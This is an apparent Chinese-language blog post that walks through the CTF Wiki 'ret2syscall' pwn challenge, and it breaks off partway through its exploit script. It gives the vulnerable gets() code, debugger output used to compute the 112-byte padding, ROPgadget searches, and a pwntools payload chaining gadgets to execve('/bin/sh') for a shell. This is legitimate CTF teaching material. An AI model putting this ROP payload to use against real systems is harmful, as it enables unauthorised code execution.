{"id":72561,"date":"2026-02-05T23:48:54","date_gmt":"2026-02-05T15:48:54","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/72561.html"},"modified":"2026-02-05T23:48:54","modified_gmt":"2026-02-05T15:48:54","slug":"pwn-%e5%af%b9ctf-wiki%e7%9a%84%e5%a4%8d%e7%8e%b0%e5%86%8d%e5%ad%a6%e4%b9%a0-%ef%bc%88%e7%ac%ac%e4%b8%89%e6%9c%9f%ef%bc%89","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/72561.html","title":{"rendered":"PWN | \u5bf9CTF WIKI\u7684\u590d\u73b0+\u518d\u5b66\u4e60 \uff08\u7b2c\u4e09\u671f\uff09"},"content":{"rendered":"<h4>ret2syscall<\/h4>\n<p>\u4e0b\u8f7d\u5730\u5740&#xff1a;<span class=\"link-card-box\"><span class=\"link-title\">https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rop<\/span><span class=\"link-link\"><img decoding=\"async\" class=\"link-link-icon\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260205154853-6984bbe5620ff.png\" \/>https:\/\/github.com\/ctf-wiki\/ctf-challenges\/raw\/master\/pwn\/linux\/user-mode\/stackoverflow\/ret2syscall\/bamboofox-ret2syscall\/rop<\/span><\/span><\/p>\n<p>bamboofox-ret2syscall<\/p>\n<h4>1.checksec&#043;\u770b\u4f2a\u4ee3\u7801<\/h4>\n<p>    Arch:     i386-32-little<br \/>\n    RELRO:    Partial RELRO<br \/>\n    Stack:    No canary found<br \/>\n    NX:       NX enabled<\/p>\n<p>int __cdecl main(int argc, const char **argv, const char **envp)<br \/>\n{<br \/>\n  int v4; \/\/ [esp&#043;1Ch] [ebp-64h] BYREF<\/p>\n<p>  setvbuf(stdout, 0, 2, 0);<br \/>\n  setvbuf(stdin, 0, 1, 0);<br \/>\n  puts(&#034;This time, no system() and NO SHELLCODE!!!&#034;);<br \/>\n  puts(&#034;What do you plan to do?&#034;);<br \/>\n  gets(&amp;v4);<br \/>\n  return 0;<br \/>\n} <\/p>\n<p>\u653b\u51fb\u539f\u7406&#xff1a;ret2syscall \u7684\u672c\u8d28\u662f \u901a\u8fc7\u7f13\u51b2\u533a\u6ea2\u51fa\u8986\u76d6\u8fd4\u56de\u5730\u5740&#xff0c;\u62fc\u63a5 Gadget \u4f9d\u6b21\u8bbe\u7f6e\u7cfb\u7edf\u8c03\u7528\u5bc4\u5b58\u5668\u53c2\u6570&#xff0c;\u6700\u7ec8\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528&#xff08;\u4f8b\u5b50\u5982\u4e0b&#xff09;<\/p>\n<li>\u7f13\u51b2\u533a\u586b\u5145&#xff1a;\u7528\u65e0\u7528\u6570\u636e&#xff08;\u5982 A&#xff09;\u586b\u5145\u6808\u4e0a\u7684\u7f13\u51b2\u533a&#xff0c;\u76f4\u5230\u8986\u76d6\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740&#xff08;EIP \u5bc4\u5b58\u5668\u5bf9\u5e94\u7684\u6808\u4f4d\u7f6e&#xff09;&#xff1b;<\/li>\n<li>\u8bbe\u7f6e\u7cfb\u7edf\u8c03\u7528\u53f7&#xff1a;\u8df3\u8f6c\u5230 pop eax; ret Gadget&#xff0c;\u5c06\u6808\u4e0a\u7684 0xb \u5f39\u51fa\u5230 eax \u5bc4\u5b58\u5668&#xff08;\u8bbe\u7f6e execve \u8c03\u7528\u53f7&#xff09;&#xff1b;<\/li>\n<li>\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528&#xff1a;\u8df3\u8f6c\u5230 int 0x80 \u6307\u4ee4\u5730\u5740&#xff0c;\u89e6\u53d1\u7cfb\u7edf\u8c03\u7528&#xff0c;\u6267\u884c execve(&#034;\/bin\/sh&#034;, NULL, NULL)&#xff1b;<\/li>\n<li>\u83b7\u53d6 shell&#xff1a;\u7cfb\u7edf\u8c03\u7528\u6267\u884c\u540e&#xff0c;\u7a0b\u5e8f\u6267\u884c\u6d41\u5207\u6362\u5230 shell&#xff0c;\u653b\u51fb\u8005\u83b7\u5f97\u4ea4\u4e92\u5f0f\u63a7\u5236\u6743\u9650\u3002<\/li>\n<p>&#xff08;\u6808\u5e03\u5c40\u793a\u610f\u56fe&#xff09;<\/p>\n<p>\u9ad8\u5730\u5740<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u8fd4\u56de\u5730\u5740 4        | \u2190 int 0x80 \/ syscall\u5730\u5740<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570 6 (ebp\/edi)  | \u2190 \u5982\u679c\u6709\u7b2c6\u4e2a\u53c2\u6570<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570 5 (esi)      | \u2190 \u5982\u679c\u6709\u7b2c5\u4e2a\u53c2\u6570<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570 4 (ecx)      | \u2190 \u5982\u679c\u6709\u7b2c4\u4e2a\u53c2\u6570<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570 3 (edx)      | \u2190 \u5982\u679c\u6709\u7b2c3\u4e2a\u53c2\u6570<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570 2 (ecx\/esi)  | \u2190 \u5982\u679c\u6709\u7b2c2\u4e2a\u53c2\u6570<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570 1 (ebx\/rdi)  | \u2190 \u7b2c\u4e00\u4e2a\u53c2\u6570&#xff08;\u901a\u5e38\u662f\u5b57\u7b26\u4e32\u5730\u5740&#xff09;<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   Gadget 4          | \u2190 pop edx; ret  (\u8bbe\u7f6e\u7b2c\u4e09\u4e2a\u53c2\u6570)<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570\u503c 3          |<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   Gadget 3          | \u2190 pop ecx; ret  (\u8bbe\u7f6e\u7b2c\u4e8c\u4e2a\u53c2\u6570)<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570\u503c 2          |<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   Gadget 2          | \u2190 pop ebx; ret  (\u8bbe\u7f6e\u7b2c\u4e00\u4e2a\u53c2\u6570)<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u53c2\u6570\u503c 1          |<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   Gadget 1          | \u2190 pop eax; ret  (\u8bbe\u7f6e\u7cfb\u7edf\u8c03\u7528\u53f7)<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u7cfb\u7edf\u8c03\u7528\u53f7        | \u2190 execve&#061;0xb, read&#061;0x3, write&#061;0x4\u7b49<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n|   \u7f13\u51b2\u533a\u6ea2\u51fa\u586b\u5145    | \u2190 &#034;A&#034;*offset<br \/>\n&#043;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#043;<br \/>\n\u4f4e\u5730\u5740 <\/p>\n<p>&#xff08;\u6267\u884c\u6d41\u7a0b\u793a\u610f\u56fe&#xff09;<\/p>\n<p>\u6b63\u5e38\u51fd\u6570\u8fd4\u56de \u2192<br \/>\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<br \/>\n\u2502 \u88ab\u8986\u76d6\u7684\u8fd4\u56de\u5730\u5740\u6307\u5411\u7b2c\u4e00\u4e2aROP gadget                \u2502<br \/>\n\u2502 (pop eax; ret)                                      \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 1. pop eax                                          \u2502<br \/>\n\u2502    &#8211; \u4ece\u6808\u4e2d\u5f39\u51fa\u7cfb\u7edf\u8c03\u7528\u53f7\u5230eax\u5bc4\u5b58\u5668                \u2502<br \/>\n\u2502 2. ret                                              \u2502<br \/>\n\u2502    &#8211; \u8fd4\u56de\u5230\u6808\u4e2d\u4e0b\u4e00\u4e2a\u5730\u5740 (pop ebx; ret)           \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 3. pop ebx                                          \u2502<br \/>\n\u2502    &#8211; \u4ece\u6808\u4e2d\u5f39\u51fa\u7b2c\u4e00\u4e2a\u53c2\u6570\u5230ebx\u5bc4\u5b58\u5668                \u2502<br \/>\n\u2502    (\u5982&#034;\/bin\/sh&#034;\u5b57\u7b26\u4e32\u5730\u5740)                         \u2502<br \/>\n\u2502 4. ret                                              \u2502<br \/>\n\u2502    &#8211; \u8fd4\u56de\u5230\u4e0b\u4e00\u4e2agadget                            \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 5. pop ecx                                          \u2502<br \/>\n\u2502    &#8211; \u5f39\u51fa\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5230ecx                            \u2502<br \/>\n\u2502    (\u901a\u5e38\u662fargv[]\u6570\u7ec4\u5730\u5740)                          \u2502<br \/>\n\u2502 6. ret                                              \u2502<br \/>\n\u2502    &#8211; \u8fd4\u56de\u5230\u4e0b\u4e00\u4e2agadget                            \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 7. pop edx                                          \u2502<br \/>\n\u2502    &#8211; \u5f39\u51fa\u7b2c\u4e09\u4e2a\u53c2\u6570\u5230edx                            \u2502<br \/>\n\u2502    (\u901a\u5e38\u662fenvp[]\u6570\u7ec4\u5730\u5740)                          \u2502<br \/>\n\u2502 8. ret                                              \u2502<br \/>\n\u2502    &#8211; \u8fd4\u56de\u5230int 0x80 \/ syscall\u5730\u5740                  \u2502<br \/>\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524<br \/>\n\u2502 9. int 0x80 \/ syscall                               \u2502<br \/>\n\u2502    &#8211; \u6267\u884c\u7cfb\u7edf\u8c03\u7528                                   \u2502<br \/>\n\u2502    &#8211; eax&#061;\u7cfb\u7edf\u8c03\u7528\u53f7                                 \u2502<br \/>\n\u2502    &#8211; ebx&#061;\u7b2c\u4e00\u4e2a\u53c2\u6570                                 \u2502<br \/>\n\u2502    &#8211; ecx&#061;\u7b2c\u4e8c\u4e2a\u53c2\u6570                                 \u2502<br \/>\n\u2502    &#8211; edx&#061;\u7b2c\u4e09\u4e2a\u53c2\u6570                                 \u2502<br \/>\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 <\/p>\n<p>&#xff08;\u5bc4\u5b58\u5668\u793a\u610f\u56fe&#xff09;<\/p>\n<p>\u6267\u884c\u524d:                    \u6267\u884c\u540e:<br \/>\n&#043;&#8212;&#8212;&#8212;-&#043;&#8212;&#8212;-&#043;      &#043;&#8212;&#8212;&#8212;-&#043;&#8212;&#8212;-&#043;<br \/>\n| \u5bc4\u5b58\u5668   | \u503c     |      | \u5bc4\u5b58\u5668   | \u503c     |<br \/>\n&#043;&#8212;&#8212;&#8212;-&#043;&#8212;&#8212;-&#043;      &#043;&#8212;&#8212;&#8212;-&#043;&#8212;&#8212;-&#043;<br \/>\n| eax      | \u968f\u673a   |      | eax      | 0xb   |<br \/>\n| ebx      | \u968f\u673a   |      | ebx      | ptr   |<br \/>\n| ecx      | \u968f\u673a   |  \u2192   | ecx      | ptr   |<br \/>\n| edx      | \u968f\u673a   |      | edx      | ptr   |<br \/>\n| eip      | gadget|      | eip      | 0x80  |<br \/>\n&#043;&#8212;&#8212;&#8212;-&#043;&#8212;&#8212;-&#043;      &#043;&#8212;&#8212;&#8212;-&#043;&#8212;&#8212;-&#043;<\/p>\n<p>\u7cfb\u7edf\u8c03\u7528: execve(&#034;\/bin\/sh&#034;, argv[], envp[]) <\/p>\n<h4>2.\u7528\u4e0a\u671f\u6559\u7684\u65b9\u6cd5\u67e5\u770b\u9700\u8981\u586b\u5145\u7684padding<\/h4>\n<p>00:0000\u2502 esp  0xffffcdf0 \u2014\u25b8 0xffffce0c \u25c2\u2014 &#039;aaaaaaaaaaaaaaaaaaaa&#039;<br \/>\n01:0004\u2502      0xffffcdf4 \u25c2\u2014 0x0<br \/>\n02:0008\u2502      0xffffcdf8 \u25c2\u2014 0x1<br \/>\n03:000c\u2502      0xffffcdfc \u25c2\u2014 0x0<br \/>\n04:0010\u2502      0xffffce00 \u25c2\u2014 0x1<br \/>\n05:0014\u2502      0xffffce04 \u2014\u25b8 0xffffcf04 \u2014\u25b8 0xffffd10e \u25c2\u2014 &#039;\/home\/Debug\/Desktop\/ret2syscall\/bamboofox-ret2syscall\/rop&#039;<br \/>\n06:0018\u2502      0xffffce08 \u2014\u25b8 0xffffcf0c \u2014\u25b8 0xffffd148 \u25c2\u2014 &#039;DBUS_SESSION_BUS_ADDRESS&#061;unix:path&#061;\/run\/user\/1000\/bus,guid&#061;1ab5f4d341f177439a071922697f1152&#039;<br \/>\n07:001c\u2502      0xffffce0c \u25c2\u2014 &#039;aaaaaaaaaaaaaaaaaaaa&#039;<br \/>\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ BACKTRACE ]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br \/>\n \u25ba f 0  8048ea0 main&#043;124<br \/>\n   f 1  804907a __libc_start_main&#043;458<br \/>\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500<br \/>\npwndbg&gt; tele 0xffffce0c<br \/>\n00:0000\u2502   0xffffce0c \u25c2\u2014 &#039;aaaaaaaaaaaaaaaaaaaa&#039;<br \/>\n&#8230; \u2193<br \/>\n05:0014\u2502   0xffffce20 \u25c2\u2014 0x0<br \/>\n06:0018\u2502   0xffffce24 \u25c2\u2014 0x10<br \/>\n07:001c\u2502   0xffffce28 \u2014\u25b8 0x80e9f44 \u2014\u25b8 0x80eaea0 (_nl_global_locale) \u2014\u25b8 0x80c3ae0 (_nl_C_LC_CTYPE) \u2014\u25b8 0x80d15fc (_nl_C_name) \u25c2\u2014 &#8230;<br \/>\npwndbg&gt; i r $ebp<br \/>\nebp            0xffffce780xffffce78<\/p>\n<p>padding&#061;0xffffce78-0xffffce0c&#043;ebp\u6240\u5360\u7a7a\u95f4&#061;112<\/p>\n<h4>3.\u653b\u51fb\u65b9\u6cd5<\/h4>\n<p>\u8fd9\u91cc\u6211\u4eec\u662f\u7528ret2syscall\u65b9\u6cd5\u8fdb\u884c\u653b\u51fb&#xff0c;\u9996\u5148\u627e\u5230\u53ef\u7528\u7cfb\u7edf\u8c03\u7528\u6765\u83b7\u5f97shell&#xff08;\u8fd9\u91cc\u6211\u6709\u70b9\u5fd8\u4e86\u8be5\u600e\u4e48\u627e\u6765\u83b7\u5f97\u4e0d\u540c\u7cfb\u7edf\u8c03\u7528\u53f7\u548c\u6240\u9700\u586b\u8865\u7684\u503c&#xff0c;\u6709\u77e5\u9053\u7684\u53ef\u4ee5\u5728\u8bc4\u8bba\u533a\u7ed9\u5927\u5bb6\u5c55\u793a\u4e00\u4e0b&#xff0c;\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u5c31\u6309\u7167wiki\u91cc\u7684\u6765&#xff09;<\/p>\n<p>https:\/\/zh.wikipedia.org\/wiki\/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8<\/p>\n<p>\u8be5\u7a0b\u5e8f\u662f 32 \u4f4d&#xff0c;\u6240\u4ee5\u6211\u4eec\u9700\u8981\u4f7f\u5f97&#xff1a;<\/p>\n<li>\u7cfb\u7edf\u8c03\u7528\u53f7&#xff0c;\u5373 eax \u5e94\u8be5\u4e3a 0xb<\/li>\n<li>\u7b2c\u4e00\u4e2a\u53c2\u6570&#xff0c;\u5373 ebx \u5e94\u8be5\u6307\u5411 \/bin\/sh \u7684\u5730\u5740&#xff0c;\u5176\u5b9e\u6267\u884c sh \u7684\u5730\u5740\u4e5f\u53ef\u4ee5\u3002<\/li>\n<li>\u7b2c\u4e8c\u4e2a\u53c2\u6570&#xff0c;\u5373 ecx \u5e94\u8be5\u4e3a 0<\/li>\n<li>\u7b2c\u4e09\u4e2a\u53c2\u6570&#xff0c;\u5373 edx \u5e94\u8be5\u4e3a 0<\/li>\n<p>ROPgadget\u4f7f\u7528&#xff0c;\u4e5f\u53ef\u4ee5\u7528ropper<\/p>\n<p>ROPgadget &#8211;binary rop  &#8211;only &#039;pop|ret&#039; | grep &#039;eax&#039;<br \/>\n0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret<br \/>\n0x080bb196 : pop eax ; ret<br \/>\n0x0807217a : pop eax ; ret 0x80e<br \/>\n0x0804f704 : pop eax ; ret 3<br \/>\n0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret<\/p>\n<p>\u5f97\u5230\u00a00x080bb196<\/p>\n<p>\u540c\u7406\u5f97\u5230<\/p>\n<p>ROPgadget &#8211;binary rop &#8211;only &#039;pop|ret&#039; | grep &#039;ebx&#039;<br \/>\n0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret<br \/>\n0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret<br \/>\n0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret<br \/>\n0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret<br \/>\n0x080be23f : pop ebx ; pop edi ; ret<br \/>\n0x0806eb69 : pop ebx ; pop edx ; ret<br \/>\n0x08092258 : pop ebx ; pop esi ; pop ebp ; ret<br \/>\n0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret<br \/>\n0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10<br \/>\n0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14<br \/>\n0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc<br \/>\n0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4<br \/>\n0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8<br \/>\n0x08048913 : pop ebx ; pop esi ; pop edi ; ret<br \/>\n0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4<br \/>\n0x08049a94 : pop ebx ; pop esi ; ret<br \/>\n0x080481c9 : pop ebx ; ret<br \/>\n0x080d7d3c : pop ebx ; ret 0x6f9<br \/>\n0x08099c87 : pop ebx ; ret 8<br \/>\n0x0806eb91 : pop ecx ; pop ebx ; ret<br \/>\n0x0806336b : pop edi ; pop esi ; pop ebx ; ret<br \/>\n0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret<br \/>\n0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret<br \/>\n0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret<br \/>\n0x0805c820 : pop esi ; pop ebx ; ret<br \/>\n0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret<br \/>\n0x0807b6ed : pop ss ; pop ebx ; ret<\/p>\n<p>\u6211\u4eec\u5f97\u5230\u00a00x0806eb90<\/p>\n<p>\u540e\u9762\u4e24\u4e2a\u540c\u7406<\/p>\n<p>ROPgadget &#8211;binary rop  &#8211;string &#039;\/bin\/sh&#039;<br \/>\nROPgadget &#8211;binary rop  &#8211;only &#039;int&#039; <\/p>\n<h4>4.\u5199\u51faExp<\/h4>\n<p>#!\/usr\/bin\/env python<br \/>\n# \u3010shebang\u884c\u3011\u6307\u5b9a\u811a\u672c\u4f7f\u7528\u7cfb\u7edf\u9ed8\u8ba4\u7684Python\u89e3\u91ca\u5668\u6267\u884c&#xff0c;\u662fLinux\u811a\u672c\u7684\u6807\u51c6\u5f00\u5934<br \/>\n# \u8be5\u811a\u672c\u662f32\u4f4dLinux\u4e0bret2syscall\u653b\u51fb\u7684ROP\u811a\u672c&#xff0c;\u6838\u5fc3\u76ee\u6807\u662f\u901a\u8fc7\u7f13\u51b2\u533a\u6ea2\u51fa\u89e6\u53d1execve(&#034;\/bin\/sh&#034;)\u83b7\u53d6shell<\/p>\n<p># \u5bfc\u5165pwntools\u5e93&#xff08;CTF\u4e8c\u8fdb\u5236\u6f0f\u6d1e\u5229\u7528\u7684\u6838\u5fc3\u5de5\u5177\u5e93&#xff09;<br \/>\n# \u63d0\u4f9b\u8fdb\u7a0b\u4ea4\u4e92\u3001ROP\u94fe\u6784\u9020\u3001\u6570\u636e\u6253\u5305&#xff08;flat\u51fd\u6570&#xff09;\u7b49\u6838\u5fc3\u529f\u80fd<br \/>\nfrom pwn import *<\/p>\n<p># 1. \u542f\u52a8\u76ee\u6807\u8fdb\u7a0b&#xff0c;\u5efa\u7acb\u4e0e\u76ee\u6807\u7a0b\u5e8f\u7684\u4ea4\u4e92\u901a\u9053<br \/>\n# &#039;.\/rop&#039;\u662f\u76ee\u6807\u6f0f\u6d1e\u7a0b\u5e8f\u7684\u8def\u5f84&#xff0c;sh\u662f\u8fdb\u7a0b\u4ea4\u4e92\u5bf9\u8c61&#xff08;\u7528\u4e8e\u53d1\u9001payload\u3001\u63a5\u6536\u8f93\u51fa\u3001\u4ea4\u4e92shell&#xff09;<br \/>\nsh &#061; process(&#039;.\/rop&#039;)<\/p>\n<p># 2. \u5b9a\u4e49ret2syscall\u653b\u51fb\u6240\u9700\u7684\u5173\u952eROP Gadget\u5730\u5740&#xff08;\u9700\u63d0\u524d\u901a\u8fc7ROPgadget\u5de5\u5177\u4ece\u76ee\u6807\u7a0b\u5e8f\u4e2d\u63d0\u53d6&#xff09;<br \/>\n# Gadget\u662f\u7a0b\u5e8f\u4e2d\u4ee5ret\u7ed3\u5c3e\u7684\u77ed\u6307\u4ee4\u7247\u6bb5&#xff0c;\u662fROP\u653b\u51fb\u7684&#034;\u79ef\u6728&#034;<br \/>\n# 32\u4f4dLinux\u4e0bexecve(&#034;\/bin\/sh&#034;)\u9700\u8981\u5148\u7ed9\u5bc4\u5b58\u5668\u8d4b\u503c&#xff0c;\u518d\u89e6\u53d1int 0x80\u4e2d\u65ad<\/p>\n<p># (1) pop eax; ret \u6307\u4ee4\u7684\u5185\u5b58\u5730\u5740<br \/>\n# \u4f5c\u7528&#xff1a;\u5c06\u6808\u4e0a\u7d27\u8ddf\u7684\u6570\u503c\u5f39\u51fa\u5230eax\u5bc4\u5b58\u5668&#xff08;eax\u7528\u4e8e\u5b58\u50a8\u7cfb\u7edf\u8c03\u7528\u53f7&#xff09;<br \/>\npop_eax_ret &#061; 0x080bb196<\/p>\n<p># (2) pop edx; pop ecx; pop ebx; ret \u6307\u4ee4\u7684\u5185\u5b58\u5730\u5740<br \/>\n# \u4f5c\u7528&#xff1a;\u4f9d\u6b21\u5c06\u6808\u4e0a\u76843\u4e2a\u6570\u503c\u5f39\u51fa\u5230edx\u3001ecx\u3001ebx\u5bc4\u5b58\u5668&#xff08;\u8fd9\u4e09\u4e2a\u5bc4\u5b58\u5668\u7528\u4e8e\u5b58\u50a8execve\u7684\u53c2\u6570&#xff09;<br \/>\n# \u6ce8\u610f&#xff1a;pop\u7684\u987a\u5e8f\u548c\u5bc4\u5b58\u5668\u4e00\u4e00\u5bf9\u5e94&#xff0c;\u6808\u4e0a\u6570\u503c\u987a\u5e8f\u9700\u5339\u914d\u8be5\u987a\u5e8f<br \/>\npop_edx_ecx_ebx_ret &#061; 0x0806eb90<\/p>\n<p># (3) int 0x80 \u6307\u4ee4\u7684\u5185\u5b58\u5730\u5740<br \/>\n# \u4f5c\u7528&#xff1a;\u89e6\u53d1Linux\u7cfb\u7edf\u8c03\u7528\u4e2d\u65ad&#xff0c;\u5185\u6838\u4f1a\u6839\u636eeax\u7684\u503c\u6267\u884c\u5bf9\u5e94\u7684\u7cfb\u7edf\u8c03\u7528&#xff08;\u6b64\u5904\u662fexecve&#xff09;<br \/>\nint_0x80 &#061; 0x08049421<\/p>\n<p># (4) &#034;\/bin\/sh&#034;\u5b57\u7b26\u4e32\u5728\u76ee\u6807\u7a0b\u5e8f\u5185\u5b58\u4e2d\u7684\u9996\u5730\u5740<br \/>\n# \u4f5c\u7528&#xff1a;\u4f5c\u4e3aexecve\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570&#xff08;ebx\u9700\u8981\u6307\u5411\u8be5\u5730\u5740&#xff09;<br \/>\nbinsh &#061; 0x80be408<\/p>\n<p># 3. \u6784\u9020\u7f13\u51b2\u533a\u6ea2\u51fa\u7684payload&#xff08;\u6838\u5fc3\u653b\u51fb\u6570\u636e&#xff09;<br \/>\npayload &#061; flat(<br \/>\n    [&#039;A&#039; * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])<br \/>\n# 